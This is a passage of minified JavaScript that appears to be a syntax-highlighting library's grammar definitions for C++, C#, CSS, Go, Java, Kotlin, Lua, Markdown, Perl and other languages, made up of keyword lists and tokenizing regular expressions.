-_type_hints:["any","auto_ptr","barrier","binary_semaphore","bitset","complex","condition_variable","condition_variable_any","counting_semaphore","deque","false_type","future","imaginary","initializer_list","istringstream","jthread","latch","lock_guard","multimap","multiset","mutex","optional","ostringstream","packaged_task","pair","promise","priority_queue","queue","recursive_mutex","recursive_timed_mutex","scoped_lock","set","shared_future","shared_lock","shared_mutex","shared_timed_mutex","shared_ptr","stack","string_view","stringstream","timed_mutex","thread","true_type","tuple","unique_lock","unique_ptr","unordered_map","unordered_multimap","unordered_multiset","unordered_set","variant","vector","weak_ptr","wstring","wstring_view"] -},b={className:"function.dispatch",relevance:0,keywords:{ -_hint:["abort","abs","acos","apply","as_const","asin","atan","atan2","calloc","ceil","cerr","cin","clog","cos","cosh","cout","declval","endl","exchange","exit","exp","fabs","floor","fmod","forward","fprintf","fputs","free","frexp","fscanf","future","invoke","isalnum","isalpha","iscntrl","isdigit","isgraph","islower","isprint","ispunct","isspace","isupper","isxdigit","labs","launder","ldexp","log","log10","make_pair","make_shared","make_shared_for_overwrite","make_tuple","make_unique","malloc","memchr","memcmp","memcpy","memset","modf","move","pow","printf","putchar","puts","realloc","scanf","sin","sinh","snprintf","sprintf","sqrt","sscanf","std","stderr","stdin","stdout","strcat","strchr","strcmp","strcpy","strcspn","strlen","strncat","strncmp","strncpy","strpbrk","strrchr","strspn","strstr","swap","tan","tanh","terminate","to_underlying","tolower","toupper","vfprintf","visit","vprintf","vsprintf"] -}, -begin:n.concat(/\b/,/(?!decltype)/,/(?!if)/,/(?!for)/,/(?!switch)/,/(?!while)/,e.IDENT_RE,n.lookahead(/(<[^<>]+>|)\s*\(/)) -},m=[b,c,s,t,e.C_BLOCK_COMMENT_MODE,l,o],p={variants:[{begin:/=/,end:/;/},{ -begin:/\(/,end:/\)/},{beginKeywords:"new throw return else",end:/;/}], -keywords:u,contains:m.concat([{begin:/\(/,end:/\)/,keywords:u, -contains:m.concat(["self"]),relevance:0}]),relevance:0},_={className:"function", -begin:"("+r+"[\\*&\\s]+)+"+g,returnBegin:!0,end:/[{;=]/,excludeEnd:!0, -keywords:u,illegal:/[^\w\s\*&:<>.]/,contains:[{begin:a,keywords:u,relevance:0},{ -begin:g,returnBegin:!0,contains:[d],relevance:0},{begin:/::/,relevance:0},{ -begin:/:/,endsWithParent:!0,contains:[o,l]},{relevance:0,match:/,/},{ -className:"params",begin:/\(/,end:/\)/,keywords:u,relevance:0, -contains:[t,e.C_BLOCK_COMMENT_MODE,o,l,s,{begin:/\(/,end:/\)/,keywords:u, -relevance:0,contains:["self",t,e.C_BLOCK_COMMENT_MODE,o,l,s]}] -},s,t,e.C_BLOCK_COMMENT_MODE,c]};return{name:"C++", -aliases:["cc","c++","h++","hpp","hh","hxx","cxx"],keywords:u,illegal:"",keywords:u,contains:["self",s]},{begin:e.IDENT_RE+"::",keywords:u},{ -match:[/\b(?:enum(?:\s+(?:class|struct))?|class|struct|union)/,/\s+/,/\w+/], -className:{1:"keyword",3:"title.class"}}])}},grmr_csharp:e=>{const n={ -keyword:["abstract","as","base","break","case","catch","class","const","continue","do","else","event","explicit","extern","finally","fixed","for","foreach","goto","if","implicit","in","interface","internal","is","lock","namespace","new","operator","out","override","params","private","protected","public","readonly","record","ref","return","scoped","sealed","sizeof","stackalloc","static","struct","switch","this","throw","try","typeof","unchecked","unsafe","using","virtual","void","volatile","while"].concat(["add","alias","and","ascending","async","await","by","descending","equals","from","get","global","group","init","into","join","let","nameof","not","notnull","on","or","orderby","partial","remove","select","set","unmanaged","value|0","var","when","where","with","yield"]), -built_in:["bool","byte","char","decimal","delegate","double","dynamic","enum","float","int","long","nint","nuint","object","sbyte","short","string","ulong","uint","ushort"], -literal:["default","false","null","true"]},t=e.inherit(e.TITLE_MODE,{ -begin:"[a-zA-Z](\\.?\\w)*"}),a={className:"number",variants:[{ -begin:"\\b(0b[01']+)"},{ -begin:"(-?)\\b([\\d']+(\\.[\\d']*)?|\\.[\\d']+)(u|U|l|L|ul|UL|f|F|b|B)"},{ -begin:"(-?)(\\b0[xX][a-fA-F0-9']+|(\\b[\\d']+(\\.[\\d']*)?|\\.[\\d']+)([eE][-+]?[\\d']+)?)" -}],relevance:0},i={className:"string",begin:'@"',end:'"',contains:[{begin:'""'}] -},r=e.inherit(i,{illegal:/\n/}),s={className:"subst",begin:/\{/,end:/\}/, -keywords:n},o=e.inherit(s,{illegal:/\n/}),l={className:"string",begin:/\$"/, -end:'"',illegal:/\n/,contains:[{begin:/\{\{/},{begin:/\}\}/ -},e.BACKSLASH_ESCAPE,o]},c={className:"string",begin:/\$@"/,end:'"',contains:[{ -begin:/\{\{/},{begin:/\}\}/},{begin:'""'},s]},d=e.inherit(c,{illegal:/\n/, -contains:[{begin:/\{\{/},{begin:/\}\}/},{begin:'""'},o]}) -;s.contains=[c,l,i,e.APOS_STRING_MODE,e.QUOTE_STRING_MODE,a,e.C_BLOCK_COMMENT_MODE], -o.contains=[d,l,r,e.APOS_STRING_MODE,e.QUOTE_STRING_MODE,a,e.inherit(e.C_BLOCK_COMMENT_MODE,{ -illegal:/\n/})];const g={variants:[c,l,i,e.APOS_STRING_MODE,e.QUOTE_STRING_MODE] -},u={begin:"<",end:">",contains:[{beginKeywords:"in out"},t] -},b=e.IDENT_RE+"(<"+e.IDENT_RE+"(\\s*,\\s*"+e.IDENT_RE+")*>)?(\\[\\])?",m={ -begin:"@"+e.IDENT_RE,relevance:0};return{name:"C#",aliases:["cs","c#"], -keywords:n,illegal:/::/,contains:[e.COMMENT("///","$",{returnBegin:!0, -contains:[{className:"doctag",variants:[{begin:"///",relevance:0},{ -begin:"\x3c!--|--\x3e"},{begin:""}]}] -}),e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,{className:"meta",begin:"#", -end:"$",keywords:{ -keyword:"if else elif endif define undef warning error line region endregion pragma checksum" -}},g,a,{beginKeywords:"class interface",relevance:0,end:/[{;=]/, -illegal:/[^\s:,]/,contains:[{beginKeywords:"where class" -},t,u,e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE]},{beginKeywords:"namespace", -relevance:0,end:/[{;=]/,illegal:/[^\s:]/, -contains:[t,e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE]},{ -beginKeywords:"record",relevance:0,end:/[{;=]/,illegal:/[^\s:]/, -contains:[t,u,e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE]},{className:"meta", -begin:"^\\s*\\[(?=[\\w])",excludeBegin:!0,end:"\\]",excludeEnd:!0,contains:[{ -className:"string",begin:/"/,end:/"/}]},{ -beginKeywords:"new return throw await else",relevance:0},{className:"function", -begin:"("+b+"\\s+)+"+e.IDENT_RE+"\\s*(<[^=]+>\\s*)?\\(",returnBegin:!0, -end:/\s*[{;=]/,excludeEnd:!0,keywords:n,contains:[{ -beginKeywords:"public private protected static internal protected abstract async extern override unsafe virtual new sealed partial", -relevance:0},{begin:e.IDENT_RE+"\\s*(<[^=]+>\\s*)?\\(",returnBegin:!0, -contains:[e.TITLE_MODE,u],relevance:0},{match:/\(\)/},{className:"params", -begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,keywords:n,relevance:0, -contains:[g,a,e.C_BLOCK_COMMENT_MODE] -},e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE]},m]}},grmr_css:e=>{ -const n=e.regex,t=ie(e),a=[e.APOS_STRING_MODE,e.QUOTE_STRING_MODE];return{ -name:"CSS",case_insensitive:!0,illegal:/[=|'\$]/,keywords:{ -keyframePosition:"from to"},classNameAliases:{keyframePosition:"selector-tag"}, -contains:[t.BLOCK_COMMENT,{begin:/-(webkit|moz|ms|o)-(?=[a-z])/ -},t.CSS_NUMBER_MODE,{className:"selector-id",begin:/#[A-Za-z0-9_-]+/,relevance:0 -},{className:"selector-class",begin:"\\.[a-zA-Z-][a-zA-Z0-9_-]*",relevance:0 -},t.ATTRIBUTE_SELECTOR_MODE,{className:"selector-pseudo",variants:[{ -begin:":("+oe.join("|")+")"},{begin:":(:)?("+le.join("|")+")"}] -},t.CSS_VARIABLE,{className:"attribute",begin:"\\b("+ce.join("|")+")\\b"},{ -begin:/:/,end:/[;}{]/, -contains:[t.BLOCK_COMMENT,t.HEXCOLOR,t.IMPORTANT,t.CSS_NUMBER_MODE,...a,{ -begin:/(url|data-uri)\(/,end:/\)/,relevance:0,keywords:{built_in:"url data-uri" -},contains:[...a,{className:"string",begin:/[^)]/,endsWithParent:!0, -excludeEnd:!0}]},t.FUNCTION_DISPATCH]},{begin:n.lookahead(/@/),end:"[{;]", -relevance:0,illegal:/:/,contains:[{className:"keyword",begin:/@-?\w[\w]*(-\w+)*/ -},{begin:/\s/,endsWithParent:!0,excludeEnd:!0,relevance:0,keywords:{ -$pattern:/[a-z-]+/,keyword:"and or not only",attribute:se.join(" ")},contains:[{ -begin:/[a-z-]+(?=:)/,className:"attribute"},...a,t.CSS_NUMBER_MODE]}]},{ -className:"selector-tag",begin:"\\b("+re.join("|")+")\\b"}]}},grmr_diff:e=>{ -const n=e.regex;return{name:"Diff",aliases:["patch"],contains:[{ -className:"meta",relevance:10, -match:n.either(/^@@ +-\d+,\d+ +\+\d+,\d+ +@@/,/^\*\*\* +\d+,\d+ +\*\*\*\*$/,/^--- +\d+,\d+ +----$/) -},{className:"comment",variants:[{ -begin:n.either(/Index: /,/^index/,/={3,}/,/^-{3}/,/^\*{3} /,/^\+{3}/,/^diff --git/), -end:/$/},{match:/^\*{15}$/}]},{className:"addition",begin:/^\+/,end:/$/},{ -className:"deletion",begin:/^-/,end:/$/},{className:"addition",begin:/^!/, -end:/$/}]}},grmr_go:e=>{const n={ -keyword:["break","case","chan","const","continue","default","defer","else","fallthrough","for","func","go","goto","if","import","interface","map","package","range","return","select","struct","switch","type","var"], -type:["bool","byte","complex64","complex128","error","float32","float64","int8","int16","int32","int64","string","uint8","uint16","uint32","uint64","int","uint","uintptr","rune"], -literal:["true","false","iota","nil"], -built_in:["append","cap","close","complex","copy","imag","len","make","new","panic","print","println","real","recover","delete"] -};return{name:"Go",aliases:["golang"],keywords:n,illegal:"{const n=e.regex;return{name:"GraphQL",aliases:["gql"], -case_insensitive:!0,disableAutodetect:!1,keywords:{ -keyword:["query","mutation","subscription","type","input","schema","directive","interface","union","scalar","fragment","enum","on"], -literal:["true","false","null"]}, -contains:[e.HASH_COMMENT_MODE,e.QUOTE_STRING_MODE,e.NUMBER_MODE,{ -scope:"punctuation",match:/[.]{3}/,relevance:0},{scope:"punctuation", -begin:/[\!\(\)\:\=\[\]\{\|\}]{1}/,relevance:0},{scope:"variable",begin:/\$/, -end:/\W/,excludeEnd:!0,relevance:0},{scope:"meta",match:/@\w+/,excludeEnd:!0},{ -scope:"symbol",begin:n.concat(/[_A-Za-z][_0-9A-Za-z]*/,n.lookahead(/\s*:/)), -relevance:0}],illegal:[/[;<']/,/BEGIN/]}},grmr_ini:e=>{const n=e.regex,t={ -className:"number",relevance:0,variants:[{begin:/([+-]+)?[\d]+_[\d_]+/},{ -begin:e.NUMBER_RE}]},a=e.COMMENT();a.variants=[{begin:/;/,end:/$/},{begin:/#/, -end:/$/}];const i={className:"variable",variants:[{begin:/\$[\w\d"][\w\d_]*/},{ -begin:/\$\{(.*?)\}/}]},r={className:"literal", -begin:/\bon|off|true|false|yes|no\b/},s={className:"string", -contains:[e.BACKSLASH_ESCAPE],variants:[{begin:"'''",end:"'''",relevance:10},{ -begin:'"""',end:'"""',relevance:10},{begin:'"',end:'"'},{begin:"'",end:"'"}] -},o={begin:/\[/,end:/\]/,contains:[a,r,i,s,t,"self"],relevance:0 -},l=n.either(/[A-Za-z0-9_-]+/,/"(\\"|[^"])*"/,/'[^']*'/);return{ -name:"TOML, also INI",aliases:["toml"],case_insensitive:!0,illegal:/\S/, -contains:[a,{className:"section",begin:/\[+/,end:/\]+/},{ -begin:n.concat(l,"(\\s*\\.\\s*",l,")*",n.lookahead(/\s*=\s*[^#\s]/)), -className:"attr",starts:{end:/$/,contains:[a,o,r,i,s,t]}}]}},grmr_java:e=>{ -const n=e.regex,t="[\xc0-\u02b8a-zA-Z_$][\xc0-\u02b8a-zA-Z_$0-9]*",a=t+pe("(?:<"+t+"~~~(?:\\s*,\\s*"+t+"~~~)*>)?",/~~~/g,2),i={ -keyword:["synchronized","abstract","private","var","static","if","const ","for","while","strictfp","finally","protected","import","native","final","void","enum","else","break","transient","catch","instanceof","volatile","case","assert","package","default","public","try","switch","continue","throws","protected","public","private","module","requires","exports","do","sealed","yield","permits"], -literal:["false","true","null"], -type:["char","boolean","long","float","int","byte","short","double"], -built_in:["super","this"]},r={className:"meta",begin:"@"+t,contains:[{ -begin:/\(/,end:/\)/,contains:["self"]}]},s={className:"params",begin:/\(/, -end:/\)/,keywords:i,relevance:0,contains:[e.C_BLOCK_COMMENT_MODE],endsParent:!0} -;return{name:"Java",aliases:["jsp"],keywords:i,illegal:/<\/|#/, -contains:[e.COMMENT("/\\*\\*","\\*/",{relevance:0,contains:[{begin:/\w+@/, -relevance:0},{className:"doctag",begin:"@[A-Za-z]+"}]}),{ -begin:/import java\.[a-z]+\./,keywords:"import",relevance:2 -},e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,{begin:/"""/,end:/"""/, -className:"string",contains:[e.BACKSLASH_ESCAPE] -},e.APOS_STRING_MODE,e.QUOTE_STRING_MODE,{ -match:[/\b(?:class|interface|enum|extends|implements|new)/,/\s+/,t],className:{ -1:"keyword",3:"title.class"}},{match:/non-sealed/,scope:"keyword"},{ -begin:[n.concat(/(?!else)/,t),/\s+/,t,/\s+/,/=(?!=)/],className:{1:"type", -3:"variable",5:"operator"}},{begin:[/record/,/\s+/,t],className:{1:"keyword", -3:"title.class"},contains:[s,e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE]},{ -beginKeywords:"new throw return else",relevance:0},{ -begin:["(?:"+a+"\\s+)",e.UNDERSCORE_IDENT_RE,/\s*(?=\()/],className:{ -2:"title.function"},keywords:i,contains:[{className:"params",begin:/\(/, -end:/\)/,keywords:i,relevance:0, -contains:[r,e.APOS_STRING_MODE,e.QUOTE_STRING_MODE,me,e.C_BLOCK_COMMENT_MODE] -},e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE]},me,r]}},grmr_javascript:Oe, -grmr_json:e=>{const n=["true","false","null"],t={scope:"literal", -beginKeywords:n.join(" ")};return{name:"JSON",keywords:{literal:n},contains:[{ -className:"attr",begin:/"(\\.|[^\\"\r\n])*"(?=\s*:)/,relevance:1.01},{ -match:/[{}[\],:]/,className:"punctuation",relevance:0 -},e.QUOTE_STRING_MODE,t,e.C_NUMBER_MODE,e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE], -illegal:"\\S"}},grmr_kotlin:e=>{const n={ -keyword:"abstract as val var vararg get set class object open private protected public noinline crossinline dynamic final enum if else do while for when throw try catch finally import package is in fun override companion reified inline lateinit init interface annotation data sealed internal infix operator out by constructor super tailrec where const inner suspend typealias external expect actual", -built_in:"Byte Short Char Int Long Boolean Float Double Void Unit Nothing", -literal:"true false null"},t={className:"symbol",begin:e.UNDERSCORE_IDENT_RE+"@" -},a={className:"subst",begin:/\$\{/,end:/\}/,contains:[e.C_NUMBER_MODE]},i={ -className:"variable",begin:"\\$"+e.UNDERSCORE_IDENT_RE},r={className:"string", -variants:[{begin:'"""',end:'"""(?=[^"])',contains:[i,a]},{begin:"'",end:"'", -illegal:/\n/,contains:[e.BACKSLASH_ESCAPE]},{begin:'"',end:'"',illegal:/\n/, -contains:[e.BACKSLASH_ESCAPE,i,a]}]};a.contains.push(r);const s={ -className:"meta", -begin:"@(?:file|property|field|get|set|receiver|param|setparam|delegate)\\s*:(?:\\s*"+e.UNDERSCORE_IDENT_RE+")?" -},o={className:"meta",begin:"@"+e.UNDERSCORE_IDENT_RE,contains:[{begin:/\(/, -end:/\)/,contains:[e.inherit(r,{className:"string"}),"self"]}] -},l=me,c=e.COMMENT("/\\*","\\*/",{contains:[e.C_BLOCK_COMMENT_MODE]}),d={ -variants:[{className:"type",begin:e.UNDERSCORE_IDENT_RE},{begin:/\(/,end:/\)/, -contains:[]}]},g=d;return g.variants[1].contains=[d],d.variants[1].contains=[g], -{name:"Kotlin",aliases:["kt","kts"],keywords:n, -contains:[e.COMMENT("/\\*\\*","\\*/",{relevance:0,contains:[{className:"doctag", -begin:"@[A-Za-z]+"}]}),e.C_LINE_COMMENT_MODE,c,{className:"keyword", -begin:/\b(break|continue|return|this)\b/,starts:{contains:[{className:"symbol", -begin:/@\w+/}]}},t,s,o,{className:"function",beginKeywords:"fun",end:"[(]|$", -returnBegin:!0,excludeEnd:!0,keywords:n,relevance:5,contains:[{ -begin:e.UNDERSCORE_IDENT_RE+"\\s*\\(",returnBegin:!0,relevance:0, -contains:[e.UNDERSCORE_TITLE_MODE]},{className:"type",begin://, -keywords:"reified",relevance:0},{className:"params",begin:/\(/,end:/\)/, -endsParent:!0,keywords:n,relevance:0,contains:[{begin:/:/,end:/[=,\/]/, -endsWithParent:!0,contains:[d,e.C_LINE_COMMENT_MODE,c],relevance:0 -},e.C_LINE_COMMENT_MODE,c,s,o,r,e.C_NUMBER_MODE]},c]},{ -begin:[/class|interface|trait/,/\s+/,e.UNDERSCORE_IDENT_RE],beginScope:{ -3:"title.class"},keywords:"class interface trait",end:/[:\{(]|$/,excludeEnd:!0, -illegal:"extends implements",contains:[{ -beginKeywords:"public protected internal private constructor" -},e.UNDERSCORE_TITLE_MODE,{className:"type",begin://,excludeBegin:!0, -excludeEnd:!0,relevance:0},{className:"type",begin:/[,:]\s*/,end:/[<\(,){\s]|$/, -excludeBegin:!0,returnEnd:!0},s,o]},r,{className:"meta",begin:"^#!/usr/bin/env", -end:"$",illegal:"\n"},l]}},grmr_less:e=>{ -const n=ie(e),t=de,a="[\\w-]+",i="("+a+"|@\\{"+a+"\\})",r=[],s=[],o=e=>({ -className:"string",begin:"~?"+e+".*?"+e}),l=(e,n,t)=>({className:e,begin:n, -relevance:t}),c={$pattern:/[a-z-]+/,keyword:"and or not only", -attribute:se.join(" ")},d={begin:"\\(",end:"\\)",contains:s,keywords:c, -relevance:0} -;s.push(e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,o("'"),o('"'),n.CSS_NUMBER_MODE,{ -begin:"(url|data-uri)\\(",starts:{className:"string",end:"[\\)\\n]", -excludeEnd:!0} -},n.HEXCOLOR,d,l("variable","@@?"+a,10),l("variable","@\\{"+a+"\\}"),l("built_in","~?`[^`]*?`"),{ -className:"attribute",begin:a+"\\s*:",end:":",returnBegin:!0,excludeEnd:!0 -},n.IMPORTANT,{beginKeywords:"and not"},n.FUNCTION_DISPATCH);const g=s.concat({ -begin:/\{/,end:/\}/,contains:r}),u={beginKeywords:"when",endsWithParent:!0, -contains:[{beginKeywords:"and not"}].concat(s)},b={begin:i+"\\s*:", -returnBegin:!0,end:/[;}]/,relevance:0,contains:[{begin:/-(webkit|moz|ms|o)-/ -},n.CSS_VARIABLE,{className:"attribute",begin:"\\b("+ce.join("|")+")\\b", -end:/(?=:)/,starts:{endsWithParent:!0,illegal:"[<=$]",relevance:0,contains:s}}] -},m={className:"keyword", -begin:"@(import|media|charset|font-face|(-[a-z]+-)?keyframes|supports|document|namespace|page|viewport|host)\\b", -starts:{end:"[;{}]",keywords:c,returnEnd:!0,contains:s,relevance:0}},p={ -className:"variable",variants:[{begin:"@"+a+"\\s*:",relevance:15},{begin:"@"+a -}],starts:{end:"[;}]",returnEnd:!0,contains:g}},_={variants:[{ -begin:"[\\.#:&\\[>]",end:"[;{}]"},{begin:i,end:/\{/}],returnBegin:!0, -returnEnd:!0,illegal:"[<='$\"]",relevance:0, -contains:[e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,u,l("keyword","all\\b"),l("variable","@\\{"+a+"\\}"),{ -begin:"\\b("+re.join("|")+")\\b",className:"selector-tag" -},n.CSS_NUMBER_MODE,l("selector-tag",i,0),l("selector-id","#"+i),l("selector-class","\\."+i,0),l("selector-tag","&",0),n.ATTRIBUTE_SELECTOR_MODE,{ -className:"selector-pseudo",begin:":("+oe.join("|")+")"},{ -className:"selector-pseudo",begin:":(:)?("+le.join("|")+")"},{begin:/\(/, -end:/\)/,relevance:0,contains:g},{begin:"!important"},n.FUNCTION_DISPATCH]},h={ -begin:a+":(:)?"+`(${t.join("|")})`,returnBegin:!0,contains:[_]} -;return r.push(e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,m,p,h,b,_,u,n.FUNCTION_DISPATCH), -{name:"Less",case_insensitive:!0,illegal:"[=>'/<($\"]",contains:r}}, -grmr_lua:e=>{const n="\\[=*\\[",t="\\]=*\\]",a={begin:n,end:t,contains:["self"] -},i=[e.COMMENT("--(?!"+n+")","$"),e.COMMENT("--"+n,t,{contains:[a],relevance:10 -})];return{name:"Lua",keywords:{$pattern:e.UNDERSCORE_IDENT_RE, -literal:"true false nil", -keyword:"and break do else elseif end for goto if in local not or repeat return then until while", -built_in:"_G _ENV _VERSION __index __newindex __mode __call __metatable __tostring __len __gc __add __sub __mul __div __mod __pow __concat __unm __eq __lt __le assert collectgarbage dofile error getfenv getmetatable ipairs load loadfile loadstring module next pairs pcall print rawequal rawget rawset require select setfenv setmetatable tonumber tostring type unpack xpcall arg self coroutine resume yield status wrap create running debug getupvalue debug sethook getmetatable gethook setmetatable setlocal traceback setfenv getinfo setupvalue getlocal getregistry getfenv io lines write close flush open output type read stderr stdin input stdout popen tmpfile math log max acos huge ldexp pi cos tanh pow deg tan cosh sinh random randomseed frexp ceil floor rad abs sqrt modf asin min mod fmod log10 atan2 exp sin atan os exit setlocale date getenv difftime remove time clock tmpname rename execute package preload loadlib loaded loaders cpath config path seeall string sub upper len gfind rep find match char dump gmatch reverse byte format gsub lower table setn insert getn foreachi maxn foreach concat sort remove" -},contains:i.concat([{className:"function",beginKeywords:"function",end:"\\)", -contains:[e.inherit(e.TITLE_MODE,{ -begin:"([_a-zA-Z]\\w*\\.)*([_a-zA-Z]\\w*:)?[_a-zA-Z]\\w*"}),{className:"params", -begin:"\\(",endsWithParent:!0,contains:i}].concat(i) -},e.C_NUMBER_MODE,e.APOS_STRING_MODE,e.QUOTE_STRING_MODE,{className:"string", -begin:n,end:t,contains:[a],relevance:5}])}},grmr_makefile:e=>{const n={ -className:"variable",variants:[{begin:"\\$\\("+e.UNDERSCORE_IDENT_RE+"\\)", -contains:[e.BACKSLASH_ESCAPE]},{begin:/\$[@%{ -const n={begin:/<\/?[A-Za-z_]/,end:">",subLanguage:"xml",relevance:0},t={ -variants:[{begin:/\[.+?\]\[.*?\]/,relevance:0},{ -begin:/\[.+?\]\(((data|javascript|mailto):|(?:http|ftp)s?:\/\/).*?\)/, -relevance:2},{ -begin:e.regex.concat(/\[.+?\]\(/,/[A-Za-z][A-Za-z0-9+.-]*/,/:\/\/.*?\)/), -relevance:2},{begin:/\[.+?\]\([./?&#].*?\)/,relevance:1},{ -begin:/\[.*?\]\(.*?\)/,relevance:0}],returnBegin:!0,contains:[{match:/\[(?=\])/ -},{className:"string",relevance:0,begin:"\\[",end:"\\]",excludeBegin:!0, -returnEnd:!0},{className:"link",relevance:0,begin:"\\]\\(",end:"\\)", -excludeBegin:!0,excludeEnd:!0},{className:"symbol",relevance:0,begin:"\\]\\[", -end:"\\]",excludeBegin:!0,excludeEnd:!0}]},a={className:"strong",contains:[], -variants:[{begin:/_{2}(?!\s)/,end:/_{2}/},{begin:/\*{2}(?!\s)/,end:/\*{2}/}] -},i={className:"emphasis",contains:[],variants:[{begin:/\*(?![*\s])/,end:/\*/},{ -begin:/_(?![_\s])/,end:/_/,relevance:0}]},r=e.inherit(a,{contains:[] -}),s=e.inherit(i,{contains:[]});a.contains.push(s),i.contains.push(r) -;let o=[n,t];return[a,i,r,s].forEach((e=>{e.contains=e.contains.concat(o) -})),o=o.concat(a,i),{name:"Markdown",aliases:["md","mkdown","mkd"],contains:[{ -className:"section",variants:[{begin:"^#{1,6}",end:"$",contains:o},{ -begin:"(?=^.+?\\n[=-]{2,}$)",contains:[{begin:"^[=-]*$"},{begin:"^",end:"\\n", -contains:o}]}]},n,{className:"bullet",begin:"^[ \t]*([*+-]|(\\d+\\.))(?=\\s+)", -end:"\\s+",excludeEnd:!0},a,i,{className:"quote",begin:"^>\\s+",contains:o, -end:"$"},{className:"code",variants:[{begin:"(`{3,})[^`](.|\\n)*?\\1`*[ ]*"},{ -begin:"(~{3,})[^~](.|\\n)*?\\1~*[ ]*"},{begin:"```",end:"```+[ ]*$"},{ -begin:"~~~",end:"~~~+[ ]*$"},{begin:"`.+?`"},{begin:"(?=^( {4}|\\t))", -contains:[{begin:"^( {4}|\\t)",end:"(\\n)$"}],relevance:0}]},{ -begin:"^[-\\*]{3,}",end:"$"},t,{begin:/^\[[^\n]+\]:/,returnBegin:!0,contains:[{ -className:"symbol",begin:/\[/,end:/\]/,excludeBegin:!0,excludeEnd:!0},{ -className:"link",begin:/:\s*/,end:/$/,excludeBegin:!0}]}]}},grmr_objectivec:e=>{ -const n=/[a-zA-Z@][a-zA-Z0-9_]*/,t={$pattern:n, -keyword:["@interface","@class","@protocol","@implementation"]};return{ -name:"Objective-C",aliases:["mm","objc","obj-c","obj-c++","objective-c++"], -keywords:{"variable.language":["this","super"],$pattern:n, -keyword:["while","export","sizeof","typedef","const","struct","for","union","volatile","static","mutable","if","do","return","goto","enum","else","break","extern","asm","case","default","register","explicit","typename","switch","continue","inline","readonly","assign","readwrite","self","@synchronized","id","typeof","nonatomic","IBOutlet","IBAction","strong","weak","copy","in","out","inout","bycopy","byref","oneway","__strong","__weak","__block","__autoreleasing","@private","@protected","@public","@try","@property","@end","@throw","@catch","@finally","@autoreleasepool","@synthesize","@dynamic","@selector","@optional","@required","@encode","@package","@import","@defs","@compatibility_alias","__bridge","__bridge_transfer","__bridge_retained","__bridge_retain","__covariant","__contravariant","__kindof","_Nonnull","_Nullable","_Null_unspecified","__FUNCTION__","__PRETTY_FUNCTION__","__attribute__","getter","setter","retain","unsafe_unretained","nonnull","nullable","null_unspecified","null_resettable","class","instancetype","NS_DESIGNATED_INITIALIZER","NS_UNAVAILABLE","NS_REQUIRES_SUPER","NS_RETURNS_INNER_POINTER","NS_INLINE","NS_AVAILABLE","NS_DEPRECATED","NS_ENUM","NS_OPTIONS","NS_SWIFT_UNAVAILABLE","NS_ASSUME_NONNULL_BEGIN","NS_ASSUME_NONNULL_END","NS_REFINED_FOR_SWIFT","NS_SWIFT_NAME","NS_SWIFT_NOTHROW","NS_DURING","NS_HANDLER","NS_ENDHANDLER","NS_VALUERETURN","NS_VOIDRETURN"], -literal:["false","true","FALSE","TRUE","nil","YES","NO","NULL"], -built_in:["dispatch_once_t","dispatch_queue_t","dispatch_sync","dispatch_async","dispatch_once"], -type:["int","float","char","unsigned","signed","short","long","double","wchar_t","unichar","void","bool","BOOL","id|0","_Bool"] -},illegal:"/,end:/$/,illegal:"\\n" -},e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE]},{className:"class", -begin:"("+t.keyword.join("|")+")\\b",end:/(\{|$)/,excludeEnd:!0,keywords:t, -contains:[e.UNDERSCORE_TITLE_MODE]},{begin:"\\."+e.UNDERSCORE_IDENT_RE, -relevance:0}]}},grmr_perl:e=>{const n=e.regex,t=/[dualxmsipngr]{0,12}/,a={ -$pattern:/[\w.]+/, -keyword:"abs accept alarm and atan2 bind binmode bless break caller chdir chmod chomp chop chown chr chroot close closedir connect continue cos crypt dbmclose dbmopen defined delete die do dump each else elsif endgrent endhostent endnetent endprotoent endpwent endservent eof eval exec exists exit exp fcntl fileno flock for foreach fork format formline getc getgrent getgrgid getgrnam gethostbyaddr gethostbyname gethostent getlogin getnetbyaddr getnetbyname getnetent getpeername getpgrp getpriority getprotobyname getprotobynumber getprotoent getpwent getpwnam getpwuid getservbyname getservbyport getservent getsockname getsockopt given glob gmtime goto grep gt hex if index int ioctl join keys kill last lc lcfirst length link listen local localtime log lstat lt ma map mkdir msgctl msgget msgrcv msgsnd my ne next no not oct open opendir or ord our pack package pipe pop pos print printf prototype push q|0 qq quotemeta qw qx rand read readdir readline readlink readpipe recv redo ref rename require reset return reverse rewinddir rindex rmdir say scalar seek seekdir select semctl semget semop send setgrent sethostent setnetent setpgrp setpriority setprotoent setpwent setservent setsockopt shift shmctl shmget shmread shmwrite shutdown sin sleep socket socketpair sort splice split sprintf sqrt srand stat state study sub substr symlink syscall sysopen sysread sysseek system syswrite tell telldir tie tied time times tr truncate uc ucfirst umask undef unless unlink unpack unshift untie until use utime values vec wait waitpid wantarray warn when while write x|0 xor y|0" -},i={className:"subst",begin:"[$@]\\{",end:"\\}",keywords:a},r={begin:/->\{/, -end:/\}/},s={variants:[{begin:/\$\d/},{ -begin:n.concat(/[$%@](\^\w\b|#\w+(::\w+)*|\{\w+\}|\w+(::\w*)*)/,"(?![A-Za-z])(?![@$%])") -},{begin:/[$%@][^\s\w{]/,relevance:0}] -},o=[e.BACKSLASH_ESCAPE,i,s],l=[/!/,/\//,/\|/,/\?/,/'/,/"/,/#/],c=(e,a,i="\\1")=>{ -const r="\\1"===i?i:n.concat(i,a) -;return n.concat(n.concat("(?:",e,")"),a,/(?:\\.|[^\\\/])*?/,r,/(?:\\.|[^\\\/])*?/,i,t) -},d=(e,a,i)=>n.concat(n.concat("(?:",e,")"),a,/(?:\\.|[^\\\/])*?/,i,t),g=[s,e.HASH_COMMENT_MODE,e.COMMENT(/^=\w/,/=cut/,{ -endsWithParent:!0}),r,{className:"string",contains:o,variants:[{ 